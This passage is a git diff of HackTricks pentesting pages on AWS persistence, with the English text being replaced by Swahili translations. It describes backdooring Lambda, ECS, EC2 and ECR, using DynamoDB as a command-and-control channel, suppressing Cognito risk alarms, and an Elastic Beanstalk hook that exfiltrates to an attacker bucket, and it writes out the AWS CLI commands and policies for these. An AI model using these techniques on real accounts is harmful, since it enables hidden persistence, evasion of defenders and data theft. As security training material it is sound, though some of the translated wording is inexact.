huduma limebainishwa**, kama: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` - -## References +## Marejeleo - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 28868b9f1..41e654742 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -2,20 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: +Hizi ndizo ruhusa unazohitaji kwenye kila akaunti ya AWS unayotaka kukagua ili uweze kuendesha zana zote zilizopendekezwa za ukaguzi wa AWS: -- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) -- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: - - **access-analyzer:List\*** - - **access-analyzer:Get\*** - - **iam:CreateServiceLinkedRole** - - **access-analyzer:CreateAnalyzer** - - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) - - **access-analyzer:DeleteAnalyzer** - - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) +- Sera ya default **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) +- Ili kuendesha [aws_iam_review](https://github.com/carlospolop/aws_iam_review) unahitaji pia ruhusa zifuatazo: +- **access-analyzer:List\*** +- **access-analyzer:Get\*** +- **iam:CreateServiceLinkedRole** +- **access-analyzer:CreateAnalyzer** +- Hiari ikiwa mteja anaunda wachambuzi kwa ajili yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii) +- **access-analyzer:DeleteAnalyzer** +- Hiari ikiwa mteja anafuta wachambuzi kwa ajili yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index f3b45c4d3..5b7f4eaee 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1,6 +1 @@ -# AWS - Persistence - - - - - +# AWS - Uendelevu diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 6d2b0ec35..e35ab9075 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -4,7 +4,7 @@ ## API Gateway -For more information go to: +Kwa maelezo zaidi tembelea: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,25 +12,21 @@ For more information go to: ### Resource Policy -Modify the resource policy of the API gateway(s) to grant yourself access to them +Badilisha sera ya rasilimali ya API gateway(s) ili kujipatia ufikiaji. ### Modify Lambda Authorizers -Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ -Or just remove the use of the authorizer. +Badilisha msimbo wa waandishi wa lambda ili kujipatia ufikiaji wa mwisho wote.\ +Au ondolewa matumizi ya mwandishi. ### IAM Permissions -If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ -Or just remove the use of the authorizer. +Ikiwa rasilimali inatumia mwandishi wa IAM unaweza kujipatia ufikiaji kwa kubadilisha ruhusa za IAM.\ +Au ondolewa matumizi ya mwandishi. ### API Keys -If API keys are used, you could leak them to maintain persistence or even create new ones.\ -Or just remove the use of API keys. +Ikiwa funguo za API zinatumika, unaweza kuvuja ili kudumisha uendelevu au hata kuunda mpya.\ +Au ondolewa matumizi ya funguo za API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index e2e037e53..1947d1c69 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,7 +4,7 @@ ## Cognito -For more information, access: +Kwa maelezo zaidi, tembelea: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -12,16 +12,16 @@ For more information, access: ### User persistence -Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like: +Cognito ni huduma inayoruhusu kutoa majukumu kwa watumiaji wasio na uthibitisho na watumiaji walio na uthibitisho na kudhibiti directory ya watumiaji. Mipangilio kadhaa tofauti inaweza kubadilishwa ili kudumisha baadhi ya uvumilivu, kama vile: -- **Adding a User Pool** controlled by the user to an Identity Pool -- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** - - Or to an **authenticated Identity Pool** if the attacker can login - - Or **improve the permissions** of the given roles -- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool** -- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool +- **Kuongeza User Pool** inayodhibitiwa na mtumiaji kwa Identity Pool +- Kutoa **IAM role kwa Identity Pool isiyo na uthibitisho na kuruhusu mchakato wa Basic auth** +- Au kwa **Identity Pool iliyo na uthibitisho** ikiwa mshambuliaji anaweza kuingia +- Au **kuboresha ruhusa** za majukumu yaliyotolewa +- **Kuunda, kuthibitisha & privesc** kupitia sifa zinazodhibitiwa na watumiaji au watumiaji wapya katika **User Pool** +- **Kuruhusu Watoa Utambulisho wa Nje** kuingia katika User Pool au katika Identity Pool -Check how to do these actions in +Angalia jinsi ya kufanya vitendo hivi katika {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,18 +29,12 @@ Check how to do these actions in ### `cognito-idp:SetRiskConfiguration` -An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: - +Mshambuliaji mwenye ruhusa hii anaweza kubadilisha usanidi wa hatari ili kuweza kuingia kama mtumiaji wa Cognito **bila kuanzisha alama za tahadhari**. [**Angalia cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) ili kuangalia chaguzi zote: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` - -By default this is disabled: +Kwa kawaida hii imezimwa:
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 75a824e73..d668fbe93 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -4,7 +4,7 @@ ### DynamoDB -For more information access: +Kwa maelezo zaidi tembelea: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,56 +12,48 @@ For more information access: ### DynamoDB Triggers with Lambda Backdoor -Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account. - +Kwa kutumia vichocheo vya DynamoDB, mshambuliaji anaweza kuunda **backdoor ya siri** kwa kuunganisha kazi ya Lambda yenye uharibifu na jedwali. Kazi ya Lambda inaweza kuchochewa wakati kipengee kinapoongezwa, kubadilishwa, au kufutwa, ikimruhusu mshambuliaji kutekeleza msimbo wowote ndani ya akaunti ya AWS. ```bash # Create a malicious Lambda function aws lambda create-function \ - --function-name MaliciousFunction \ - --runtime nodejs14.x \ - --role \ - --handler index.handler \ - --zip-file fileb://malicious_function.zip \ - --region +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ - --function-name MaliciousFunction \ - --event-source \ - --region +--function-name MaliciousFunction \ +--event-source \ +--region ``` +Ili kudumisha uvumilivu, mshambuliaji anaweza kuunda au kubadilisha vitu katika meza ya DynamoDB, ambayo itasababisha kazi ya Lambda yenye uharibifu. Hii inamruhusu mshambuliaji kutekeleza msimbo ndani ya akaunti ya AWS bila mwingiliano wa moja kwa moja na kazi ya Lambda. -To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. - -### DynamoDB as a C2 Channel - -An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. +### DynamoDB kama Kituo cha C2 +Mshambuliaji anaweza kutumia meza ya DynamoDB kama **kituo cha amri na udhibiti (C2)** kwa kuunda vitu vyenye amri na kutumia mifano iliyovunjwa au kazi za Lambda kupata na kutekeleza amri hizi. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ - --table-name C2Table \ - --attribute-definitions AttributeName=CommandId,AttributeType=S \ - --key-schema AttributeName=CommandId,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --region +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region # Insert a command into the table aws dynamodb put-item \ - --table-name C2Table \ - --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ - --region +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region ``` - The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b52ac9e85..ce4194432 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -4,55 +4,51 @@ ## EC2 -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Security Group Connection Tracking Persistence +### Usalama wa Kundi la Kundi la Ufuatiliaji wa Muunganisho -If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic. +Ikiwa mlinzi atagundua kuwa **EC2 instance ilikumbwa na shambulio** atajaribu **kuweka mbali** **mtandao** wa mashine hiyo. Anaweza kufanya hivyo kwa kutumia **Deny NACL** (lakini NACL zinaathiri subnet nzima), au **kubadilisha kundi la usalama** kutoruhusu **aina yoyote ya trafiki ya ndani au nje**. -If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Ikiwa mshambuliaji alikuwa na **reverse shell iliyoanzishwa kutoka kwa mashine**, hata kama SG imebadilishwa kutoruhusu trafiki ya ndani au nje, **muunganisho hautakatwa kutokana na** [**Ufuatiliaji wa Muunganisho wa Kundi la Usalama**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** -### EC2 Lifecycle Manager +### Meneja wa Mzunguko wa EC2 -This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\ -An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**. +Huduma hii inaruhusu **kuandaa** **kuundwa kwa AMIs na snapshots** na hata **kuzishiriki na akaunti nyingine**.\ +Mshambuliaji anaweza kuunda **uzalishaji wa AMIs au snapshots** za picha zote au volumes zote **kila wiki** na **kuzishiriki na akaunti yake**. -### Scheduled Instances +### Mifano ya Ratiba -It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access. +Inawezekana kupanga mifano kufanya kazi kila siku, kila wiki au hata kila mwezi. Mshambuliaji anaweza kuendesha mashine yenye mamlaka ya juu au ufikiaji wa kuvutia ambapo anaweza kufikia. -### Spot Fleet Request +### Ombi la Spot Fleet -Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**. +Mifano ya spot ni **za bei nafuu** kuliko mifano za kawaida. Mshambuliaji anaweza kuzindua **ombile dogo la spot fleet kwa miaka 5** (kwa mfano), kwa **ugawaji wa IP** wa kiotomatiki na **data ya mtumiaji** inayotuma kwa mshambuliaji **wakati mfano wa spot unapoanza** na **anwani ya IP** na **jukumu la IAM lenye mamlaka ya juu**. -### Backdoor Instances +### Mifano ya Backdoor -An attacker could get access to the instances and backdoor them: +Mshambuliaji anaweza kupata ufikiaji wa mifano na kuziingiza backdoor: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring the **User Data** +- Kutumia **rootkit** wa jadi kwa mfano +- Kuongeza **funguo mpya za SSH za umma** (angalia [chaguzi za EC2 privesc](../aws-privilege-escalation/aws-ec2-privesc.md)) +- Kuingiza backdoor kwenye **Data ya Mtumiaji** -### **Backdoor Launch Configuration** +### **Mipangilio ya Uzinduzi wa Backdoor** -- Backdoor the used AMI -- Backdoor the User Data -- Backdoor the Key Pair +- Kuingiza backdoor AMI iliyotumika +- Kuingiza backdoor Data ya Mtumiaji +- Kuingiza backdoor Key Pair ### VPN -Create a VPN so the attacker will be able to connect directly through i to the VPC. +Unda VPN ili mshambuliaji aweze kuungana moja kwa moja kupitia i hadi VPC. ### VPC Peering -Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC. +Unda muunganisho wa peering kati ya VPC ya mwathirika na VPC ya mshambuliaji ili aweze kufikia VPC ya mwathirika. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 07928fbd4..336fbf6da 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -4,98 +4,88 @@ ## ECR -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Hidden Docker Image with Malicious Code +### Picha ya Docker Iliyojificha yenye Msimbo Mbaya -An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner. +Mshambuliaji anaweza **kupakia picha ya Docker yenye msimbo mbaya** kwenye hifadhi ya ECR na kuitumia kudumisha uvumilivu katika akaunti ya AWS inayolengwa. Mshambuliaji anaweza kisha kupeleka picha hiyo mbaya kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri. -### Repository Policy - -Add a policy to a single repository granting yourself (or everybody) access to a repository: +### Sera ya Hifadhi +Ongeza sera kwa hifadhi moja ikikupa wewe (au kila mtu) ufikiaji wa hifadhi: ```bash aws ecr set-repository-policy \ - --repository-name cluster-autoscaler \ - --policy-text file:///tmp/my-policy.json +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json # With a .json such as { - "Version" : "2008-10-17", - "Statement" : [ - { - "Sid" : "allow public pull", - "Effect" : "Allow", - "Principal" : "*", - "Action" : [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - > [!WARNING] -> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository. +> Kumbuka kwamba ECR inahitaji watumiaji kuwa na **ruhusa** ya kufanya simu kwa **`ecr:GetAuthorizationToken`** API kupitia sera ya IAM **kabla ya kuweza kuthibitisha** kwenye rejista na kusukuma au kuvuta picha yoyote kutoka kwenye hifadhi yoyote ya Amazon ECR. -### Registry Policy & Cross-account Replication +### Sera ya Rejista & Urejeleaji wa Makaratasi Mbalimbali -It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry. +Inawezekana kurejeleza moja kwa moja rejista katika akaunti ya nje kwa kuunda urejeleaji wa makaratasi mbalimbali, ambapo unahitaji **kuashiria akaunti ya nje** ambapo unataka kurejeleza rejista hiyo.
-First, you need to give the external account access over the registry with a **registry policy** like: - +Kwanza, unahitaji kutoa akaunti ya nje ufikiaji juu ya rejista kwa kutumia **sera ya rejista** kama: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json # With a .json like: { - "Sid": "asdasd", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::947247140022:root" - }, - "Action": [ - "ecr:CreateRepository", - "ecr:ReplicateImage" - ], - "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` - -Then apply the replication config: - +Kisha tumia usanidi wa nakala: ```bash aws ecr put-replication-configuration \ - --replication-configuration file://replication-settings.json \ - --region us-west-2 +--replication-configuration file://replication-settings.json \ +--region us-west-2 # Having the .json a content such as: { - "rules": [{ - "destinations": [{ - "region": "destination_region", - "registryId": "destination_accountId" - }], - "repositoryFilters": [{ - "filter": "repository_prefix_name", - "filterType": "PREFIX_MATCH" - }] - }] +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 988626c8f..79af6532b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -4,29 +4,28 @@ ## ECS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Hidden Periodic ECS Task +### Kazi ya ECS ya Kila Wakati Isiyoonekana > [!NOTE] > TODO: Test -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. - +Mshambuliaji anaweza kuunda kazi ya ECS ya kila wakati isiyoonekana kwa kutumia Amazon EventBridge ili **kuweka ratiba ya utekelezaji wa kazi mbaya kila wakati**. Kazi hii inaweza kufanya upelelezi, kuhamasisha data, au kudumisha kudumu katika akaunti ya AWS. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an Amazon EventBridge rule to trigger the task periodically @@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ - { - "Id": "malicious-ecs-task-target", - "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", - "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", - "EcsParameters": { - "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", - "TaskCount": 1 - } - } +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} ]' ``` - -### Backdoor Container in Existing ECS Task Definition +### Backdoor Container katika Mwelekeo wa Kazi wa ECS uliopo > [!NOTE] > TODO: Test -An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities. - +Mshambuliaji anaweza kuongeza **container ya nyuma isiyoonekana** katika mwelekeo wa kazi wa ECS uliopo ambayo inafanya kazi pamoja na container halali. Container ya nyuma inaweza kutumika kwa kudumu na kutekeleza shughuli mbaya. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ - { - "name": "legitimate-container", - "image": "legitimate-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - }, - { - "name": "backdoor-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": false - } +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} ]' ``` - -### Undocumented ECS Service +### Huduma ya ECS Isiyoandikwa > [!NOTE] > TODO: Test -An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service. - +Mshambuliaji anaweza kuunda **huduma ya ECS isiyoandikwa** inayokimbiza kazi mbaya. Kwa kuweka idadi inayotakiwa ya kazi kuwa ya chini na kuzima uandishi wa kumbukumbu, inakuwa vigumu kwa wasimamizi kugundua huduma hiyo mbaya. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index bdb282d41..766af8e29 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -4,22 +4,18 @@ ## EFS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -### Modify Resource Policy / Security Groups +### Badilisha Sera ya Rasilimali / Vikundi vya Usalama -Modifying the **resource policy and/or security groups** you can try to persist your access into the file system. +Kwa kubadilisha **sera ya rasilimali na/v au vikundi vya usalama** unaweza kujaribu kudumisha ufikiaji wako kwenye mfumo wa faili. -### Create Access Point +### Unda Kituo cha Ufikiaji -You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system. +Unaweza **kuunda kituo cha ufikiaji** (ikiwa na ufikiaji wa mzizi kwa `/`) kinachoweza kufikiwa kutoka kwa huduma ambapo umeanzisha **muhimu nyingine** ili kudumisha ufikiaji wa kijasiri kwenye mfumo wa faili. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c55e0e2ba..0388e3ec8 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -4,7 +4,7 @@ ## Elastic Beanstalk -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -12,23 +12,22 @@ For more information check: ### Persistence in Instance -In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**. +Ili kudumisha uendelevu ndani ya akaunti ya AWS, **mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance** (kazi ya cron, ufunguo wa ssh...) ili mshambuliaji aweze kuipata na kuiba **credentials za IAM role kutoka kwa huduma ya metadata**. ### Backdoor in Version -An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code. +Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye backdoor yake na msimbo unaotarajiwa. ### New backdoored version -Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application. +Badala ya kubadilisha msimbo kwenye toleo halisi, mshambuliaji anaweza kupeleka toleo jipya lililo na backdoor la programu. ### Abusing Custom Resource Lifecycle Hooks > [!NOTE] > TODO: Test -Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. - +Elastic Beanstalk inatoa mizunguko ya maisha ambayo inakuruhusu kuendesha skripti za kawaida wakati wa upatikanaji na kumalizika kwa instance. Mshambuliaji anaweza **kuweka mzunguko wa maisha ili kwa muda fulani kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash @@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: - AWSEBAutoScalingGroup: - Metadata: - AWS::ElasticBeanstalk::Ext: - TriggerConfiguration: - triggers: - - name: stealthy-lifecycle-hook - events: - - "autoscaling:EC2_INSTANCE_LAUNCH" - - "autoscaling:EC2_INSTANCE_TERMINATE" - target: - ref: "AWS::ElasticBeanstalk::Environment" - arn: - Fn::GetAtt: - - "AWS::ElasticBeanstalk::Environment" - - "Arn" - stealthyLifecycleHook: - Type: AWS::AutoScaling::LifecycleHook - Properties: - AutoScalingGroupName: - Ref: AWSEBAutoScalingGroup - LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING - NotificationTargetARN: - Ref: stealthy-lifecycle-hook - RoleARN: - Fn::GetAtt: - - AWSEBAutoScalingGroup - - Arn' > stealthy_lifecycle_hook.yaml +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index e3e1944e7..1b490f61b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -4,50 +4,44 @@ ## IAM -For more information access: +Kwa maelezo zaidi tembelea: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### Common IAM Persistence +### Uthibitishaji wa IAM wa Kawaida -- Create a user -- Add a controlled user to a privileged group -- Create access keys (of the new user or of all users) -- Grant extra permissions to controlled users/groups (attached policies or inline policies) -- Disable MFA / Add you own MFA device -- Create a Role Chain Juggling situation (more on this 